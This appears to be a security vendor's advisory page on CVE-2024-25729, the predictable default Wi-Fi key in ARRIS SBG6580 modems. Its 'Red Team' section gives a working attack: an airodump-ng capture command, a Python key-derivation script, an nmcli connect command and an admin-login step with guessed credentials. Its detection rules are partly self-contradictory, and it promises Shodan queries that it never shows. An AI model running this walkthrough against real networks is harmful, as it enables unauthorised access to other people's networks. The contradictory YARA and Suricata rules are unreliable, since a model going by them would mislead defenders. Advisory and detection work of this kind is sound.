CVE-2024-25729
Executive Summary
CVE-2024-25729 exposes a critical design flaw in the ARRIS SBG6580 cable modem/router. The device generates its default WPA2 pre-shared key (PSK) using a predictable algorithm: the first 6 characters of the SSID concatenated with the last 6 characters of the BSSID, with the final octet of the BSSID decremented by one. This allows any attacker within Wi-Fi range to derive the network password without brute force, leading to unauthorized remote access to the local network and potentially the device’s administrative interface. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept code.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a hardware/firmware issue in the ARRIS SBG6580 device.
CVSS Breakdown & Threat Level
While no official CVSS vector is assigned, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Adjacent Network (A) – attacker must be within Wi-Fi range.
- Attack Complexity (AC): Low (L) – algorithm is simple and documented.
- Privileges Required (PR): None (N) – no prior access needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Changed (C) – attacker can move from wireless to wired network.
- Confidentiality (C): High (H) – full network traffic decryption possible.
- Integrity (I): High (H) – attacker can modify network traffic.
- Availability (A): High (H) – attacker can disrupt network services.
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical due to the ease of exploitation, lack of patch, and widespread deployment of these devices.
Deep Dive & Mechanics
The ARRIS SBG6580 uses a deterministic algorithm to generate the default WPA2 passphrase. The algorithm is:
- Extract SSID: Obtain the device’s SSID (e.g., "ARRIS-XXXX").
- Extract BSSID: Obtain the device’s BSSID (MAC address of the Wi-Fi interface, e.g., "00:1A:2B:3C:4D:5E").
- Compute Password:
- Take the first 6 characters of the SSID (e.g., "ARRIS-").
- Take the last 6 characters of the BSSID (e.g., "3C:4D:5E").
- Decrement the last octet of the BSSID by 1 (e.g., "5E" becomes "5D").
- Concatenate:
"ARRIS-" + "3C:4D:5D"→"ARRIS-3C:4D:5D".
This password is used as the WPA2 pre-shared key. Since the SSID and BSSID are broadcast in beacon frames, any attacker can capture them and compute the password offline.
Root Cause: The use of a static, reversible algorithm for password generation instead of a cryptographically secure random function.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
def generate_default_password(ssid, bssid):
# ssid = "ARRIS-XXXX"
# bssid = "00:1A:2B:3C:4D:5E"
first_six = ssid[:6] # "ARRIS-"
last_six = bssid[-6:] # "3C:4D:5E"
# Decrement last octet
last_octet = int(last_six[-2:], 16) - 1
last_six = last_six[:-2] + format(last_octet, '02X')
return first_six + last_six
Patched Code (Hypothetical):
import secrets
def generate_default_password():
# Use a cryptographically secure random string
return secrets.token_hex(16) # 32-character hex string
No official patch exists. Users must manually change the default password.
Exploitation & Lab Setup
Red Team (Exploitation)
Step 1: Capture SSID and BSSID
Use a tool like airodump-ng or tshark to capture beacon frames from the target ARRIS SBG6580.
sudo airodump-ng wlan0mon --bssid 00:1A:2B:3C:4D:5E
Step 2: Compute the Password Use the following Python script:
import sys
def compute_password(ssid, bssid):
# Remove colons from BSSID
bssid_clean = bssid.replace(':', '')
# First 6 chars of SSID
first_part = ssid[:6]
# Last 6 chars of BSSID (without colons)
last_part = bssid_clean[-6:]
# Decrement last octet
last_octet = int(last_part[-2:], 16) - 1
if last_octet < 0:
last_octet = 0xFF
last_part = last_part[:-2] + format(last_octet, '02X')
return first_part + last_part
if __name__ == "__main__":
ssid = sys.argv[1]
bssid = sys.argv[2]
print(compute_password(ssid, bssid))
Step 3: Connect to the Network Use the computed password to connect to the Wi-Fi network.
nmcli device wifi connect "ARRIS-XXXX" password "ARRIS-3C4D5D"
Step 4: Access the Router Admin Interface Once connected, access the router’s web interface (typically at 192.168.0.1 or 10.0.0.1) using default credentials (e.g., admin/password).
Blue Team (Defense)
Detection:
- Monitor for multiple failed WPA2 handshake attempts from unknown MAC addresses.
- Look for unusual traffic patterns from devices that have recently connected.
Prevention:
- Immediately change the default Wi-Fi password to a strong, random passphrase.
- Disable WPS if enabled.
- Update firmware if a patch becomes available.
- Consider replacing the device if no patch is released.
Indicators of Compromise (IOCs)
- Network Traffic: Unusual number of deauthentication packets or handshake captures targeting the ARRIS SBG6580.
- MAC Addresses: Unknown MAC addresses appearing in the DHCP lease table shortly after a new Wi-Fi connection.
- Logs: Router logs showing repeated failed login attempts to the admin interface from internal IPs.
- File Hashes: No specific file hashes; this is a protocol-level vulnerability.
Detection Engineering
YARA Rule
rule ARRIS_SBG6580_Default_Password_Exploit {
meta:
description = "Detects exploit attempts for CVE-2024-25729"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25729"
strings:
$ssid_pattern = /ARRIS-[A-Z0-9]{4}/
$bssid_pattern = /([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})/
$password_pattern = /ARRIS-[0-9A-Fa-f]{6}/
condition:
$ssid_pattern and $bssid_pattern and $password_pattern
}
Sigma Rule
title: ARRIS SBG6580 Default Password Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of CVE-2024-25729 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
- event_type: "alert"
alert.signature_id: 3000001
condition: selection
falsepositives:
- Legitimate network scanning tools
level: high
Suricata Rule
alert tcp any any -> any 80 (msg:"ARRIS SBG6580 Default Password Exploit"; flow:to_server,established; content:"ARRIS-"; distance:0; within:6; content:"|3A|"; distance:0; within:1; pcre:"/^ARRIS-[0-9A-Fa-f]{6}$/"; sid:3000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Change the default Wi-Fi password to a strong, random passphrase (at least 20 characters, mixed case, numbers, symbols).
- Firmware Update: Check the ARRIS support website for any firmware updates. If none, consider replacing the device.
- Network Segmentation: Place the SBG6580 on a separate VLAN or subnet to limit lateral movement.
- Disable WPS: Ensure Wi-Fi Protected Setup is disabled.
- Monitor: Enable logging on the router and monitor for unusual access attempts.
- Replace: If the device is critical and no patch is available, replace it with a model that uses secure default credentials.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.